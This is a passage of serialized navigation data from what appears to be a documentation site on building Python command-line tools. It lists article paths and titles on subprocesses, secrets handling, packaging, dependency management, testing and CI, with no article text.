CLIs",{"path":2404,"title":2405},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fmultiprocessing-for-cpu-bound-cli-tasks","Multiprocessing for CPU-Bound CLI Tasks",{"path":2407,"title":2408},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Fparallelising-cli-work-with-thread-pools","Parallelising CLI Work with Thread Pools",{"path":2410,"title":2411},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Frate-limiting-concurrent-requests-in-clis","Rate-Limiting Concurrent Requests in Python CLIs",{"path":2413,"title":2414},"\u002Fcli-runtime-systems-integration\u002Fconcurrency-and-async-in-python-clis\u002Frunning-async-code-in-typer-and-click","Running Async Code in Typer and Click",{"path":2416,"title":2417},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fcross-platform-paths-with-pathlib","Cross-Platform Paths with pathlib in CLIs",{"path":2419,"title":2420},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Ffile-locking-for-concurrent-cli-runs","File Locking for Concurrent CLI Runs in Python",{"path":2422,"title":2423},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes","Filesystem Paths and Atomic Writes for CLIs",{"path":2425,"title":2426},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fsafe-temporary-files-and-directories","Safe Temporary Files and Directories in CLIs",{"path":2428,"title":2429},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fstoring-app-data-with-platformdirs","Storing CLI App Data with platformdirs",{"path":2431,"title":2432},"\u002Fcli-runtime-systems-integration\u002Ffilesystem-paths-and-atomic-writes\u002Fwriting-files-atomically-in-python-clis","Writing Files Atomically in Python CLIs",{"path":2434,"title":2435},"\u002Fcli-runtime-systems-integration","CLI Runtime & Systems Integration for Python",{"path":2437,"title":2438},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fbuilding-a-watch-mode-with-watchfiles","Building a Watch Mode with watchfiles in Python",{"path":2440,"title":2441},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fhandling-sigterm-and-graceful-shutdown","Handling SIGTERM and Graceful Shutdown in CLIs",{"path":2443,"title":2444},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Fhealth-checks-and-heartbeats-for-long-running-clis","Health Checks and Heartbeats for Long-Running CLIs",{"path":2446,"title":2447},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis","Long-Running and Watch-Mode Python CLIs",{"path":2449,"title":2450},"\u002Fcli-runtime-systems-integration\u002Flong-running-and-watch-mode-clis\u002Frunning-a-cli-on-a-schedule-with-cron-and-systemd","Running a Python CLI on a Schedule with cron and systemd",{"path":2452,"title":2453},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Favoiding-shell-injection-in-python-clis","Avoiding Shell Injection in Python CLIs",{"path":2455,"title":2456},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fcalling-external-commands-safely-with-subprocess","Calling External Commands Safely with subprocess",{"path":2458,"title":2459},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fhandling-subprocess-timeouts-and-exit-codes","Handling Subprocess Timeouts and Exit Codes",{"path":2205,"title":5},{"path":2462,"title":2463},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fstreaming-subprocess-output-in-real-time","Streaming Subprocess Output in Real Time",{"path":2465,"title":2466},"\u002Fcli-runtime-systems-integration\u002Frunning-subprocesses-from-python-clis\u002Fwrapping-git-and-other-tools-from-a-python-cli","Wrapping git and Other Tools from a Python CLI",{"path":2468,"title":2469},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis","Secrets and Credentials in Python CLIs",{"path":2471,"title":2472},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fprompting-for-passwords-securely","Prompting for Passwords Securely in Python CLIs",{"path":2474,"title":2475},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Freading-secrets-from-env-and-files","Reading Secrets from Env Vars and Files in CLIs",{"path":2477,"title":2478},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fredacting-secrets-from-cli-output-and-logs","Redacting Secrets from CLI Output and Logs",{"path":2480,"title":2481},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fstoring-tokens-with-keyring","Storing CLI Tokens Securely with keyring",{"path":2483,"title":2484},"\u002Fcli-runtime-systems-integration\u002Fsecrets-and-credentials-in-python-clis\u002Fsupporting-multiple-profiles-and-accounts","Supporting Multiple Profiles and Accounts in CLIs",{"path":100,"title":2486},"Python CLI Toolcraft",{"path":2488,"title":2489},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Fcaching-expensive-work-between-cli-runs","Caching Expensive Work Between Python CLI Runs",{"path":2491,"title":2492},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading","CLI Startup Performance and Lazy Loading",{"path":2494,"title":2495},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Flazy-loading-subcommands-for-faster-startup","Lazy Loading Subcommands for Faster Startup",{"path":2497,"title":2498},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Fprofiling-python-cli-startup-time","Profiling Python CLI Startup Time",{"path":2500,"title":2501},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcli-startup-performance-and-lazy-loading\u002Freducing-cli-dependency-weight","Reducing CLI Dependency Weight",{"path":2503,"title":2504},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fargparse-subparsers-for-subcommands","argparse Subparsers for Subcommands",{"path":2506,"title":2507},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fargparse-vs-click-vs-typer-comparison","argparse vs Click vs Typer Compared",{"path":2509,"title":2510},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse","Command-Line Parsing with argparse",{"path":2512,"title":2513},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fmigrating-from-argparse-to-typer","Migrating from argparse to Typer",{"path":2515,"title":2516},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fmutually-exclusive-options-in-argparse","Mutually Exclusive Options in argparse",{"path":2518,"title":2519},"\u002Fmodern-python-cli-frameworks-architecture\u002Fcommand-line-parsing-with-argparse\u002Fwriting-custom-argparse-actions","Writing Custom argparse Actions in Python",{"path":2521,"title":2522},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fadding-dry-run-and-confirmation-to-destructive-commands","Adding Dry-Run and Confirmation to Destructive Commands",{"path":2524,"title":2525},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Ffollowing-posix-and-gnu-argument-conventions","Following POSIX and GNU Argument Conventions in Python",{"path":2527,"title":2528},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fglobal-options-vs-per-command-options","Global Options vs Per-Command Options in Python CLIs",{"path":2530,"title":2531},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions","Designing CLI Interfaces and Conventions in Python",{"path":2533,"title":2534},"\u002Fmodern-python-cli-frameworks-architecture\u002Fdesigning-cli-interfaces-and-conventions\u002Fnaming-commands-and-flags-consistently","Naming Commands and Flags Consistently in Python CLIs",{"path":2536,"title":2537},"\u002Fmodern-python-cli-frameworks-architecture","Python CLI Frameworks and Architecture",{"path":2539,"title":2540},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fdiscovering-plugins-with-entry-points","Discovering Plugins with Entry Points in Python CLIs",{"path":2542,"title":2543},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fhook-based-plugins-with-pluggy","Hook-Based Plugins for Python CLIs with pluggy",{"path":2545,"title":2546},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis","Plugin Architectures for Extensible CLIs",{"path":2548,"title":2549},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fversioning-a-plugin-api","Versioning a Plugin API for a Python CLI",{"path":2551,"title":2552},"\u002Fmodern-python-cli-frameworks-architecture\u002Fplugin-architectures-for-extensible-clis\u002Fwriting-a-plugin-for-an-existing-cli","Writing a Plugin for an Existing CLI",{"path":2554,"title":2555},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fbest-practices-for-python-cli-entry-points","Best practices for Python CLI entry points",{"path":2557,"title":2558},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fdependency-injection-patterns-for-cli-commands","Dependency Injection Patterns for CLI Commands",{"path":2560,"title":2561},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fhow-to-structure-a-large-python-cli-project","Structuring a Large Python CLI Project",{"path":2563,"title":2564},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis","Structuring Multi-Command Python CLIs",{"path":2566,"title":2567},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fsharing-common-options-across-commands","Sharing Common Options Across Python CLI Commands",{"path":2569,"title":2570},"\u002Fmodern-python-cli-frameworks-architecture\u002Fstructuring-multi-command-python-clis\u002Fsharing-state-with-click-context-objects","Sharing State with Click Context Objects",{"path":2572,"title":2573},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fend-to-end-testing-an-installed-cli","End-to-End Testing an Installed Python CLI",{"path":2575,"title":2576},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications","Testing Python CLI Applications",{"path":2578,"title":2579},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fmeasuring-cli-test-coverage","Measuring CLI Test Coverage",{"path":2581,"title":2582},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fmocking-filesystem-and-network-in-cli-tests","Mocking the Filesystem and Network in CLI Tests",{"path":2584,"title":2585},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fproperty-based-testing-cli-arguments-with-hypothesis","Property-Based Testing CLI Arguments with Hypothesis",{"path":2587,"title":2588},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Fsnapshot-testing-cli-output","Snapshot Testing CLI Output",{"path":2590,"title":2591},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Ftesting-click-commands-with-clirunner","Testing Click Commands with CliRunner",{"path":2593,"title":2594},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftesting-python-cli-applications\u002Ftesting-interactive-prompts-and-stdin","Testing Interactive Prompts and stdin",{"path":2596,"title":2597},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fbuilding-a-cli-with-subcommands-in-click","Building a CLI with subcommands in Click",{"path":2599,"title":2600},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fbuilding-dynamic-commands-in-click","Building Dynamic Commands in Click",{"path":2602,"title":2603},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fconverting-a-click-app-to-typer","Converting a Click App to Typer",{"path":2605,"title":2606},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each","Typer vs Click: When to Use Each",{"path":2608,"title":2609},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Ftyper-callback-functions-explained","Typer callback functions explained",{"path":2611,"title":2612},"\u002Fmodern-python-cli-frameworks-architecture\u002Ftyper-vs-click-when-to-use-each\u002Fusing-annotated-options-in-typer","Using Annotated Options in Typer",{"path":2614,"title":2615},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fautomating-releases-from-git-tags","Automating Python CLI Releases from Git Tags",{"path":2617,"title":2618},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fcaching-uv-dependencies-in-ci","Caching uv Dependencies in CI for Python CLIs",{"path":2620,"title":2621},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis","CI\u002FCD Pipelines for Python CLIs",{"path":2623,"title":2624},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fpublishing-to-pypi-with-trusted-publishing","Publishing a CLI to PyPI with Trusted Publishing",{"path":2626,"title":2627},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Fsmoke-testing-the-built-wheel-in-ci","Smoke-Testing the Built Wheel of a Python CLI in CI",{"path":2629,"title":2630},"\u002Fproject-setup-dependency-management\u002Fci-cd-pipelines-for-python-clis\u002Ftesting-a-cli-across-python-versions-with-github-actions","Testing a CLI Across Python Versions in GitHub Actions",{"path":2632,"title":2633},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fbuilding-a-cookiecutter-template-for-typer-clis","Building a Cookiecutter Template for Typer CLIs",{"path":2635,"title":2636},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fcopier-vs-cookiecutter-for-cli-templates","Copier vs Cookiecutter for CLI Templates",{"path":2638,"title":2639},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter","CLI Project Scaffolding with Cookiecutter",{"path":2641,"title":2642},"\u002Fproject-setup-dependency-management\u002Fcli-project-scaffolding-with-cookiecutter\u002Fpost-generation-hooks-in-cli-templates","Post-Generation Hooks in Python CLI Templates",{"path":2644,"title":2645},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fbuilding-cross-platform-release-binaries-in-ci","Building Cross-Platform Release Binaries in CI",{"path":2647,"title":2648},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fbundling-a-python-cli-with-pyinstaller","Bundling a Python CLI with PyInstaller",{"path":2650,"title":2651},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fhomebrew-and-scoop-packaging-for-python-clis","Homebrew and Scoop Packaging for Python CLIs",{"path":2653,"title":2654},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries","Distributing CLIs as Standalone Binaries",{"path":2656,"title":2657},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fnuitka-vs-pyinstaller-for-python-clis","Nuitka vs PyInstaller for Python CLI Binaries",{"path":2659,"title":2660},"\u002Fproject-setup-dependency-management\u002Fdistributing-clis-as-standalone-binaries\u002Fshipping-a-cli-as-a-zipapp-with-shiv","Shipping a CLI as a Zipapp with shiv",{"path":2662,"title":2663},"\u002Fproject-setup-dependency-management","Project Setup & Dependency Management",{"path":2665,"title":2666},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Fconfiguring-ruff-for-a-cli-project","Configuring Ruff for a Python CLI Project",{"path":2668,"title":2669},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Fenforcing-import-boundaries-in-a-cli-codebase","Enforcing Import Boundaries in a Python CLI Codebase",{"path":2671,"title":2672},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code","Linting and Type-Checking Python CLI Code",{"path":2674,"title":2675},"\u002Fproject-setup-dependency-management\u002Flinting-and-type-checking-cli-code\u002Ftype-checking-click-and-typer-code-with-mypy","Type-Checking Click and Typer Code with mypy",{"path":2677,"title":2678},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fautomating-changelogs-with-conventional-commits","Automating Changelogs with Conventional Commits",{"path":2680,"title":2681},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fderiving-versions-from-git-tags-with-hatch-vcs","Deriving CLI Versions from Git Tags with hatch-vcs",{"path":2683,"title":2684},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fexposing-version-info-and-build-metadata","Exposing Version Info and Build Metadata",{"path":2686,"title":2687},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs","Managing CLI Versioning & Changelogs",{"path":2689,"title":2690},"\u002Fproject-setup-dependency-management\u002Fmanaging-cli-versioning-changelogs\u002Fsemantic-versioning-policy-for-cli-tools","A Semantic Versioning Policy for CLI Tools",{"path":2692,"title":2693},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fbuilding-wheels-and-sdists-for-python-clis","Building Wheels and sdists for Python CLIs",{"path":2695,"title":2696},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fbundling-data-files-with-importlib-resources","Bundling Data Files with importlib.resources in CLIs",{"path":2698,"title":2699},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution","Packaging Python CLIs for Distribution",{"path":2701,"title":2702},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Finstalling-and-distributing-clis-with-pipx","Installing and Distributing CLIs with pipx",{"path":2704,"title":2705},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fpublishing-a-python-cli-to-pypi","Publishing a Python CLI to PyPI",{"path":2707,"title":2708},"\u002Fproject-setup-dependency-management\u002Fpackaging-python-clis-for-distribution\u002Fwriting-pyproject-toml-metadata-for-a-cli","Writing pyproject.toml Metadata for a Python CLI",{"path":2710,"title":2711},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development","Poetry Workflows for CLI Development",{"path":2713,"title":2714},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fmigrating-a-cli-from-poetry-to-uv","Migrating a Python CLI from Poetry to uv",{"path":2716,"title":2717},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fpoetry-dependency-groups-for-cli-tooling","Poetry Dependency Groups for CLI Tooling",{"path":2719,"title":2720},"\u002Fproject-setup-dependency-management\u002Fpoetry-workflows-for-cli-development\u002Fpoetry-entry-points-and-scripts-for-clis","Poetry Entry Points and Scripts for CLIs",{"path":2722,"title":2723},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects","Pre-commit Hooks for CLI Projects",{"path":2725,"title":2726},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fsetting-up-pre-commit-for-python-cli-repos","Setting up pre-commit for Python CLI repos",{"path":2728,"title":2729},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fshipping-your-cli-as-a-pre-commit-hook","Shipping Your Python CLI as a pre-commit Hook",{"path":2731,"title":2732},"\u002Fproject-setup-dependency-management\u002Fpre-commit-hooks-for-cli-projects\u002Fwriting-local-pre-commit-hooks-in-python","Writing Local pre-commit Hooks in Python",{"path":2734,"title":2735},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management","uv for Python CLI Dependency Management",{"path":2737,"title":2738},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Frunning-one-off-cli-scripts-with-uv-run","Running One-Off CLI Scripts with uv run and PEP 723",{"path":2740,"title":2741},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fuv-init-vs-poetry-init-for-cli-tools","uv init vs poetry init for CLI tools",{"path":2743,"title":2744},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fuv-tool-install-vs-pipx-for-clis","uv tool install vs pipx for CLIs",{"path":2746,"title":2747},"\u002Fproject-setup-dependency-management\u002Fuv-for-python-cli-dependency-management\u002Fuv-workspaces-for-multi-package-clis","uv Workspaces for Multi-Package Python CLIs",{"path":2749,"title":2750},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices","Python CLI Env Isolation Best Practices",{"path":2752,"title":2753},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fmanaging-virtual-environments-for-cross-platform-clis","Managing Python CLI Virtual Environments",{"path":2755,"title":2756},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fpinning-the-python-version-for-a-cli","Pinning the Python Version for a CLI",{"path":2758,"title":2759},"\u002Fproject-setup-dependency-management\u002Fvirtual-environments-isolation-best-practices\u002Fsupporting-multiple-python-versions-with-nox","Supporting Multiple Python Versions with nox",1789736905050]